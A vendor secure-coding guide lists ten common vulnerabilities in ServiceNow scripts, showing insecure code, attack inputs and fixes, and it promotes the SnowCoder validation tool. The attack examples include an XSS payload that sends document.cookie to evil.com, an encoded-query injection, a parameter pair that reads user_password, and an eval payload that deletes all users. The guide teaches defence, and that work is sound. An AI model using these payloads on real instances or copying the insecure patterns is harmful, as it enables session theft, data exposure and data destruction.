SecurityReading time: 12 minutes

10 Common Security Vulnerabilities in ServiceNow Scripts (And How to Fix Them)

Identify and fix critical security flaws before they reach production.

The Hidden Risk in Your ServiceNow Instance

Every ServiceNow developer writes scripts, including Business Rules, Client Scripts, Script Includes, and more. But a single security flaw can expose sensitive data, bypass authorization controls, or give attackers a foothold in your environment.

The challenge? Security vulnerabilities in ServiceNow scripts often look like normal code. They work perfectly in testing but create critical exposures in production.

This guide covers the 10 most dangerous vulnerabilities we see in ServiceNow scripts, with real examples of insecure code and how to fix each one. We'll also show how SnowCoder's security validation catches these issues before they reach production.

How SnowCoder Catches Security Issues

Before diving into the vulnerabilities, it's worth understanding how SnowCoder protects your code.

Every script generated or analyzed by SnowCoder passes through a 4-stage validation pipeline:

StageFocusWeight
SyntaxJavaScript parsing and structure15%
ServiceNowPlatform-specific best practices25%
SecurityVulnerability detection35%
PerformanceQuery optimization, efficiency25%

Security carries the highest weight because a fast, functional script with a security flaw is worse than no script at all.

CRITICAL

1. Query Injection via String Concatenation

The Vulnerability

Concatenating user input into GlideRecord queries allows attackers to manipulate query logic.

Insecure Code:

var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');
gr.addEncodedQuery('category=' + userInput);  // DANGER
gr.query();

The Attack:

An attacker submits: hardware^ORDERBYDESCsys_created_on^priority=1

Instead of filtering by category, the query now returns high-priority incidents sorted by creation date, data the user shouldn't see.

SEC004: Potential injection vulnerability in GlideRecord query
Severity: Error | Line: 3
Suggestion: Use addQuery() with separate parameters

The Fix:

var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');

// Validate input against allowed values
var allowedCategories = ['hardware', 'software', 'network'];
if (allowedCategories.indexOf(userInput) === -1) {
    return 'Invalid category';
}

// Use parameterized query - no concatenation
gr.addQuery('category', userInput);
gr.query();

To be precise, this is GlideRecord encoded-query injection rather than SQL injection: the attacker manipulates query logic, not raw SQL. If you genuinely need to accept user-supplied query conditions, the Zurich release added addUserQuery(), which enforces query ACL checks on the supplied query string, so users can't query their way to data their access doesn't cover.

CRITICAL

2. Cross-Site Scripting (XSS) via innerHTML

The Vulnerability

Assigning user input directly to innerHTML allows script injection.

Insecure Code:

// Client Script
var comments = g_form.getValue('comments');
document.getElementById('preview').innerHTML = comments;  // DANGER

The Attack:

A user enters: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">

When the page renders, the attacker's script runs and steals the user's session cookie.

SEC007: Direct innerHTML assignment - potential XSS vulnerability
Severity: Warning | Line: 3
Suggestion: Use textContent or createElement() methods

The Fix:

// Client Script: use textContent (no HTML parsing)
var comments = g_form.getValue('comments');
document.getElementById('preview').textContent = comments;

If you genuinely need to render HTML, escape it on the server before it reaches the client. GlideStringUtil is a server-side API, called statically, so it belongs in a Script Include or Business Rule, not in a Client Script:

// Script Include (server side): escape before returning to the client
var sanitized = GlideStringUtil.escapeHTML(comments);
return sanitized;
CRITICAL

3. Missing ACL Checks Before Record Modifications

The Vulnerability

Modifying records without checking canWrite() bypasses ServiceNow's access control.

Insecure Code:

var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();

while (gr.next()) {
    gr.priority = 1;
    gr.update();  // No permission check!
}

The Problem: This script runs with elevated privileges, updating incidents even for users who shouldn't have write access to those records.

SEC013: update() called without ACL check
Severity: Warning
Suggestion: Add if (gr.canWrite()) check before update()

The Fix:

// Option 1: Check ACLs explicitly
var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();

while (gr.next()) {
    // Record-level check, plus the field you are changing
    if (!gr.canWrite() || !gr.priority.canWrite()) {
        gs.warn('User lacks write access to: ' + gr.number);
        continue;
    }

    gr.priority = 1;
    gr.update();
}

// Option 2: Let the platform enforce ACLs
var grs = new GlideRecordSecure('incident');
grs.addQuery('state', 1);
grs.query();

while (grs.next()) {
    grs.priority = 1;
    grs.update();  // standard read/write ACLs enforced automatically
}

Remember that ACLs exist at both record and field level. A record-level canWrite() alone doesn't guarantee write access to every field, so check the specific fields you modify, or use GlideRecordSecure, which enforces standard read and write ACLs for you wherever enforcement matters.

CRITICAL

4. Hardcoded Credentials

The Vulnerability

Storing API keys, passwords, or tokens directly in scripts.

Insecure Code:

var apiKey = 'sk-live-abc123xyz789';  // DANGER
var password = 'ServiceNow2024!';     // DANGER

var request = new sn_ws.RESTMessageV2();
request.setRequestHeader('Authorization', 'Bearer ' + apiKey);
request.setBasicAuth('admin', password);

The Problem:

  • Anyone with script access sees credentials
  • Credentials leak through version control, backups, and logs
  • You can't rotate credentials without modifying code

SEC009: Potential hardcoded credentials detected
Severity: Error | Line: 1
Suggestion: Use Credential records, Connection & Credential Aliases, or tightly restricted encrypted properties

The Fix:

// Prefer Connection & Credential Aliases
var request = new sn_ws.RESTMessageV2('ExternalAPI', 'POST');
// Credentials automatically applied from the Credential record
request.execute();
HIGH

5. Client-Side GlideRecord Instead of GlideAjax

The Vulnerability

Querying the database directly from Client Scripts with client-side GlideRecord instead of going through a server-side Script Include.

Insecure Code:

// Client Script - AVOID THIS PATTERN
function validateAssignment() {
    var assignee = g_form.getValue('assigned_to');  // Client API

    var gr = new GlideRecord('sys_user');  // Client-side GlideRecord
    gr.get(assignee);

    if (!gr.active) {
        g_form.addErrorMessage('User is inactive');
    }
}

The Problem:

  • Client-side GlideRecord exists, but it is a limited API that ServiceNow's own best practices tell you to avoid
  • It is not supported in scoped applications, so the same script breaks the moment it moves into a scoped app
  • Each query is an extra round trip from the browser to the server, which hurts form performance
  • It applies ACLs as the logged-in user, so results silently vary between users and the "validation" you wrote may never fire

SEC015: Client-side API (g_form) and server-side API (GlideRecord) mixed
Severity: Error
Suggestion: Use GlideAjax to call server-side Script Include from client scripts

The Fix:

// Client Script
function validateAssignment() {
    var assignee = g_form.getValue('assigned_to');

    var ga = new GlideAjax('UserValidation');
    ga.addParam('sysparm_name', 'isUserActive');
    ga.addParam('sysparm_user_id', assignee);
    ga.getXMLAnswer(function(response) {
        var result = JSON.parse(response);
        if (!result.active) {
            g_form.addErrorMessage('User is inactive');
        }
    });
}

// Script Include (runs on server)
var UserValidation = Class.create();
UserValidation.prototype = Object.extendsObject(AbstractAjaxProcessor, {
    isUserActive: function() {
        var userId = this.getParameter('sysparm_user_id');

        // Validate sys_id format
        if (!/^[a-f0-9]{32}$/i.test(userId)) {
            return JSON.stringify({error: 'Invalid user ID'});
        }

        var gr = new GlideRecord('sys_user');
        if (gr.get(userId)) {
            return JSON.stringify({active: gr.active.toString() === 'true'});
        }
        return JSON.stringify({active: false});
    },
    type: 'UserValidation'
});
HIGH

6. Unvalidated User Input

The Vulnerability

Using input from URL parameters, form fields, or AJAX calls without validation.

Insecure Code:

var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');

var gr = new GlideRecord(tableName);  // User controls the table!
gr.query();

while (gr.next()) {
    gs.print(gr.getValue(fieldName));  // User controls the field!
}

The Attack:

An attacker submits sysparm_table=sys_user&sysparm_field=user_password

The script now returns sensitive fields for every matching user record, with the exact exposure depending on field ACLs, execution context, and instance customization.

The Fix:

var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');

// Whitelist allowed tables
var allowedTables = ['incident', 'change_request', 'problem'];
if (allowedTables.indexOf(tableName) === -1) {
    return 'Invalid table';
}

// Whitelist allowed fields per table
var allowedFields = {
    'incident': ['number', 'short_description', 'state'],
    'change_request': ['number', 'short_description', 'state'],
    'problem': ['number', 'short_description', 'state']
};

if (allowedFields[tableName].indexOf(fieldName) === -1) {
    return 'Invalid field';
}

var gr = new GlideRecord(tableName);
gr.setLimit(100);  // Prevent full table dumps
gr.query();

while (gr.next()) {
    if (gr.canRead()) {  // Check ACL
        gs.print(gr.getValue(fieldName));
    }
}
HIGH

7. Bypassing Workflows with setWorkflow(false)

The Vulnerability

setWorkflow(false) disables business rules, script engines, or audit for the record operation. Used casually, it can bypass approval-related logic and leave audit gaps.

Insecure Code:

var gr = new GlideRecord('change_request');
gr.get(changeId);

gr.state = 3;  // Closed
gr.setWorkflow(false);  // Skips approval workflow!
gr.update();

The Problem:

  • Change approvals are bypassed
  • Audit trails become incomplete
  • Compliance requirements are violated

The Fix:

var gr = new GlideRecord('change_request');
gr.get(changeId);

	// Check that change has proper approvals
	if (!hasRequiredApprovals(changeId)) {
	    gs.error('Cannot close change without approvals');
	    return;
}

// Let workflows run normally
gr.state = 3;
gr.update();  // Business Rules execute, audit trail preserved

	function hasRequiredApprovals(changeId) {
	    var approval = new GlideRecord('sysapproval_approver');
	    approval.addQuery('sysapproval', changeId);
	    approval.addQuery('state', 'approved');
	    approval.query();
	    return approval.getRowCount() >= 1;
}
HIGH

8. Invalid sys_id Format

The Vulnerability

Accepting user-supplied sys_ids without validating their format.

Insecure Code:

var recordId = this.getParameter('sysparm_record_id');

var gr = new GlideRecord('incident');
gr.get(recordId);  // No format validation

return gr.getValue('short_description');

The Attack: Malformed identifiers can cause unexpected behavior and noisy errors. Validate identifiers before lookup so the script has a narrow, predictable input surface.

The Fix:

var recordId = this.getParameter('sysparm_record_id');

// Validate sys_id format: 32 hexadecimal characters
if (!/^[a-f0-9]{32}$/i.test(recordId)) {
    return JSON.stringify({error: 'Invalid record ID format'});
}

var gr = new GlideRecord('incident');
if (gr.get(recordId) && gr.canRead()) {
    return JSON.stringify({
        description: gr.short_description.toString()
    });
}

return JSON.stringify({error: 'Record not found'});
CRITICAL

9. Exposing Sensitive Data in Responses

The Vulnerability

Returning entire records or sensitive fields in API responses.

Insecure Code:

var userId = this.getParameter('sysparm_user');

var gr = new GlideRecord('sys_user');
if (gr.get(userId)) {
    return JSON.stringify(gr);  // Serializes the whole record object
}

The Problem: Serializing a record wholesale means you no longer control what leaves the server. On sys_user that can include sensitive fields like the password hash, phone numbers, and home address, plus whatever HR or custom fields your instance has added over the years. Exactly what gets exposed depends on your instance and how the object serializes, and that's the point: you shouldn't have to guess. Return an explicit whitelist of fields instead.

The Fix:

var userId = this.getParameter('sysparm_user');

// Validate format
if (!/^[a-f0-9]{32}$/i.test(userId)) {
    return JSON.stringify({error: 'Invalid user ID'});
}

var gr = new GlideRecord('sys_user');
if (gr.get(userId) && gr.canRead()) {
    // Whitelist only safe, necessary fields
    return JSON.stringify({
        name: gr.name.toString(),
        email: gr.email.toString(),
        department: gr.department.getDisplayValue(),
        title: gr.title.toString()
        // Never include sensitive fields like user_password
    });
}

return JSON.stringify({error: 'User not found'});
CRITICAL

10. Dangerous Code Execution (eval, Function Constructor)

The Vulnerability

Using eval() or new Function() with user-controlled input.

Insecure Code:

var formula = this.getParameter('sysparm_formula');
var result = eval(formula);  // CRITICAL DANGER
return result.toString();

The Attack:

Attacker submits: gs.include('Sys_scripts'); new GlideRecord('sys_user').deleteMultiple();

This could delete all users from the system.

SEC001: Use of eval() detected - potential code injection vulnerability
Severity: Error
Suggestion: Avoid eval() entirely; use safer alternatives

The Fix:

var operation = this.getParameter('sysparm_operation');
var value1 = parseFloat(this.getParameter('sysparm_value1'));
var value2 = parseFloat(this.getParameter('sysparm_value2'));

// Validate inputs are numbers
if (isNaN(value1) || isNaN(value2)) {
    return JSON.stringify({error: 'Invalid numeric values'});
}

// Whitelist allowed operations
var result;
switch (operation) {
    case 'add':
        result = value1 + value2;
        break;
    case 'subtract':
        result = value1 - value2;
        break;
    case 'multiply':
        result = value1 * value2;
        break;
    case 'divide':
        if (value2 === 0) return JSON.stringify({error: 'Division by zero'});
        result = value1 / value2;
        break;
    default:
        return JSON.stringify({error: 'Invalid operation'});
}

return JSON.stringify({result: result});

A Complete Secure Script Example

Here's a Script Include that passes all of SnowCoder's security checks:

var SecureIncidentAPI = Class.create();
SecureIncidentAPI.prototype = Object.extendsObject(AbstractAjaxProcessor, {

    getIncident: function() {
        // 1. Validate input format
        var incidentId = this.getParameter('sysparm_incident_id');
        if (!this._isValidSysId(incidentId)) {
            return this._error('Invalid incident ID format');
        }

        // 2. Check authorization
        if (!gs.hasRole('itil') && !gs.hasRole('admin')) {
            gs.warn('Unauthorized getIncident attempt by: ' + gs.getUserName());
            return this._error('Unauthorized');
        }

        // 3. Query safely (no string concatenation)
        var gr = new GlideRecord('incident');
        if (!gr.get(incidentId)) {
            return this._error('Incident not found');
        }

        // 4. Check ACL
        if (!gr.canRead()) {
            return this._error('Access denied');
        }

        // 5. Return only whitelisted fields
        return this._success({
            number: gr.number.toString(),
            short_description: gr.short_description.toString(),
            state: gr.state.getDisplayValue(),
            priority: gr.priority.getDisplayValue(),
            assigned_to: gr.assigned_to.getDisplayValue()
        });
    },

    // Helper: Validate sys_id format
    _isValidSysId: function(id) {
        return id && /^[a-f0-9]{32}$/i.test(id);
    },

    // Helper: Success response
    _success: function(data) {
        return JSON.stringify({status: 'success', data: data});
    },

    // Helper: Error response
    _error: function(message) {
        return JSON.stringify({status: 'error', message: message});
    },

    type: 'SecureIncidentAPI'
});

SnowCoder Validation Result: Security Score 95/100

  • ✓ Input validation present
  • ✓ ACL checks implemented
  • ✓ No query injection vulnerabilities
  • ✓ No XSS vulnerabilities
  • ✓ No hardcoded credentials
  • ✓ Proper error handling
  • ✓ Data minimization (whitelist fields)

Quick Reference: Security Checklist

VulnerabilityDetectionPrevention
Query InjectionSEC003, SEC004, SEC005Use parameterized addQuery()
XSSSEC006, SEC007Use textContent, escape HTML
Missing ACLSEC010, SEC013canRead()/canWrite() or GlideRecordSecure
Hardcoded CredsSEC009Use System Properties
Client-side GlideRecordSEC015Use GlideAjax
Unvalidated InputSEC011, SEC016Whitelist validation
setWorkflow(false)SEC014Avoid or document carefully
Invalid sys_idPattern checkRegex: ^[a-f0-9]{32}$
Data ExposureKnowledge baseWhitelist response fields
eval() / FunctionSEC001, SEC002Never use with user input

Let SnowCoder Secure Your Code

Writing secure ServiceNow code is challenging. There are dozens of patterns to remember, edge cases to consider, and mistakes that are easy to make.

SnowCoder's security validation catches these vulnerabilities automatically:

  1. During generation: Security checks run on every script SnowCoder creates
  2. During review: Paste existing code to identify vulnerabilities
  3. With explanations: Each warning includes context and a fix

Security isn't an afterthought in SnowCoder. It's weighted at 35% of the validation score, the highest of any category.

Ready to write more secure ServiceNow code?

Let SnowCoder's security validation catch vulnerabilities before they reach production.

Try Now for Free

No credit card required.

Found a security pattern we missed? We're always improving our validation rules. Reach out to our team with suggestions.